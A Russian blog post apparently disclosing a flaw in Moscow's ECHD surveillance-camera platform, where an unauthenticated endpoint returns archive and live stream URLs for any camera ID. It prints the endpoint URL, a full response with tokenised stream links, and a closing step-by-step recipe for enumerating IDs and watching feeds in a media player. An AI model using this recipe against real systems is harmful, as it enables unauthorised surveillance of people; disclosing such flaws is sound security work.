http://habrahabr.ru/post/248727/
Привет, Хабрахабр! Наверняка многие из вас помнят легендарный пост «
Были получены исходники 3300 глобальных интернет-проектов», который долгое время был первым в рейтинге всех публикаций на сайте. Несмотря на схожий заголовок у моего поста, не претендую на первое место, но считаю, что вам стоит обратить внимание.
Эта история началась поздним вечером, когда я задержался на работе, чтобы доделать срочное задание, связанное с нашими партнерами из Амстердама. Закончив тестирование последнего модуля, я удовлетворенно откинулся в кресле и по привычке зашел проверить свою страницу в VK. В одном из моих пабликов я увидел фотографию с камеры наблюдения со служебными данными на ней. Заинтересовавшись этой фотографией, я обратился к автору изображения с просьбой получить доступ к данной камере.
На моё удивление, мне ответили. Мне сказали, что можно получить ссылку временного доступа, которая действует в течение недели и не позволяет управлять камерой и смотреть архив.
Ссылка:
obmen-video.echd.ru/embed/noauth/здесь_много_соли
Будучи вдумчивым по своей природе, я заглянул в source и обнаружил следующее:
window.APP_VERSION = '0.1';
window.BUILD_ID = 'public';
window.embeddedCamera = {"id":******,"name":"MMC_***; такой-то парк","shortName":"MMC_***","address":"такой-то адрес ","description":null,"type":{"id":4,"color":"0D0D0D"},"cameraType":4,"apiType":"ECHD_CISCO_VSM","fixed":false,"status":0,"lat":"***","lng":"***"};
window.Request = {"id":"4a6a19d5-ab03-4cb1-8fc4-281345c873f5","innerId":"******","userId":***,"ttl":1422353451835}; // Mapped HTTP request (POST/GET params)
Несложно догадаться, что используя следующий URL
http://obmen-video.echd.ru/cameraManager/ajaxGetVideoUrls?id=666&_=1421929669467
Я получил следующий набор потоков:
{"666":{"archive":{"control":["http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPUYDZTXZ6IZ4K6K2D4Z32JVYHTZZMPPQLOQIXORE6SQ7VYXW56VAPXC6W7XEKRZRM47PZUOA3IC54IA2SQRM7UVZ5GRJLG5Z5QVU3MZD54L7Y3TUXKT37FEKQLGCTLIEXWT6BHTNWUIVWXMJ27PT4PSGWVQ/token-1422045167179-archive?rec","http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MZV4X63ULMSFYGKMEH4VGPM5AGTMD2SLKYJBJJ3IPCL54IP6UEE3T7Y2M5WLHCIIDEU4L6SGIICY35JRUYPBV4TPHSOIONYI43SQ2FJHOCJIRYHVB6XL7VBWNBEN6TDNTLBSCLLF3I5BZQC3ZKKLSH6OTTVQ/token-1422045167179-archive?rec"],"shot":{"control":["http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPUYDZTXZ6IZ4K6K2D4Z32JVYHTZZMPPQLOQIXORE6SQ7VYXW56VAV6YN676UFMPOA5IAVYQRPTSGHYJRLEBV6BMZJLIIS6HEEV4HSTY3CQ6NSIVAQCKZH3VHGASAUT5CO/token-1422045167183-archiveSnapshot","http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MZV4X63ULMSFYGKMEH4VGPM5AGTMD2SLKYJBJJ3IPCL54IP6UEE3TRT4ZAOLGKV3N773W4C77HX3OCGGKPPKK3PXJD33DIM2IXV7KB6RSS6W77H7EZOEUDHGJYBBHSDBUC/token-1422045167183-archiveSnapshot"],"url":["http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPUYDZTXZ6IZ4K6K2D4Z32JVYHTZZMPPQLOQIXORE6SQ7VYXW56VAV6YN676UFMPOA5IAVYQRPTSGHYJRLEBV6BMZJLIIS6HEEV4HSTYTTINJRDZ2GL7WOO7SZ7ZPBCHYI/token-1422045167183-archiveSnapshot?shot","http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MZV4X63ULMSFYGKMEH4VGPM5AGTMD2SLKYJBJJ3IPCL54IP6UEE3TRT4ZAOLGKV3N773W4C77HX3OCGGKPPKK3PXJD33DIM2IXV7KB6R2H6KF2MR6CEMATGWCCCTHISRR7FT2YTBP4YYIJ3OL2NO2H3HNFKA/token-1422045167183-archiveSnapshot?shot"]},"url":["http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPUYDZTXZ6IZ4K6K2D4Z32JVYHTZZMPPQLOQIXORE6SQ7VYXW56VAWITQRF3YOGFW4MY5G6HIXB4Q4BJWMEAUFWUSDRYIHMSSV7TIERGLPA6ZSKAH4PZBIWTHDGHUUZC7MN63V4EQVDG6ZG7WB3UJPLFPN2UMVPLN4FQQGMPK2LHN6DPZ7WWD/token-1422045167179-archive?recarchive","http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MZV4X63ULMSFYGKMEH4VGPM5AGTMD2SLKYJBJJ3IPCL54IP6UEE3T63RJ6RODZTXZJFRMZSVUTHTK5UJRLEBV6BMZJLIIS6HEEV4HSTYSPCZMFZXP3LMKAHRSDZZ5COMCC2ITAXECLVW2LULL5TAEYY3U6H34HIN4ZH6WS55JQNX57IB3X6RY/token-1422045167179-archive?recarchive"]},"live":{"ios":{"url":["http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPKQWXTJMRZUUPCNKVNGWVT5MV3RZMPPQLOQIXORE6SQ7VYXW56VACWZDB6LQB7JO7MVPL4QBAM5LAFJWMEAUFWUSDRYIHMSSV7TIERGA2ISAPZHDCKR4FQWNRCYQB3XM4/token-1422045167167-live?m3u","http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MYJ4M3MY7A76J3LAIAGQRVJ3QDHED2SLKYJBJJ3IPCL54IP6UEE3TV43JQYUDH6HFPFF5WDDH4HS2CEJRLEBV6BMZJLIIS6HEEV4HSTYQ47LXC65XYUJF2LA4ICOS7QXVY/token-1422045167167-live?m3u"]},"shot":{"url":["http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPKQWXTJMRZUUPCNKVNGWVT5MV3RZMPPQLOQIXORE6SQ7VYXW56VACWZDB6LQB7JO7MVPL4QBAM5LAFJWMEAUFWUSDRYIHMSSV7TIERGA2ISAPZHDCKR4FQWNRCYQB3XM4/token-1422045167174-liveSnapshot?shot","http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MYJ4M3MY7A76J3LAIAGQRVJ3QDHED2SLKYJBJJ3IPCL54IP6UEE3TV43JQYUDH6HFPFF5WDDH4HS2CEJRLEBV6BMZJLIIS6HEEV4HSTYQ47LXC65XYUJF2LA4ICOS7QXVY/token-1422045167174-liveSnapshot?shot"]},"url":["http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPKQWXTJMRZUUPCNKVNGWVT5MV3RZMPPQLOQIXORE6SQ7VYXW56VACWZDB6LQB7JO7MVPL4QBAM5LAFJWMEAUFWUSDRYIHMSSV7TIERGA2ISAPZHDCKR4FQWNRCYQB3XM4/token-1422045167167-live","http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MYJ4M3MY7A76J3LAIAGQRVJ3QDHED2SLKYJBJJ3IPCL54IP6UEE3TV43JQYUDH6HFPFF5WDDH4HS2CEJRLEBV6BMZJLIIS6HEEV4HSTYQ47LXC65XYUJF2LA4ICOS7QXVY/token-1422045167167-live"]},"version":100}}
Можно получить доступ к потоку камеры с произвольно выбранным айдишником. Первые потоки – это архивы камер, последняя – трансляция в реальном времени.
Открыв URL любым плеером (VLC, например), мы можем увидеть следующее:
Данная камера не очень показательная в плане качества изображения, но первоначальный поток MMC_ выдавал вполне приличную картинку с хорошим фреймрейтом.
Короче. Вставляете ссылку вида
obmen-video.echd.ru/cameraManager/ajaxGetVideoUrls?id=ХХХ&_=1421929669467 в браузер (где ХХХ – произвольный айдишник, я пробовал числа от 50 до 20 000), получаете набор потоков, который можно вставить в медиаплеер на своём смартфоне и при должном упорстве вы можете увидеть себя, курящим у подъезда своего дома…
Как несложно догадаться, всё это принадлежит ЕЦХД (Единому Центру Хранения Данных) – я пытался связаться с ними по поводу уязвимости, но ответа так и не получил. Надеюсь, после этой публикации ошибку всё же исправят.
Спасибо за внимание.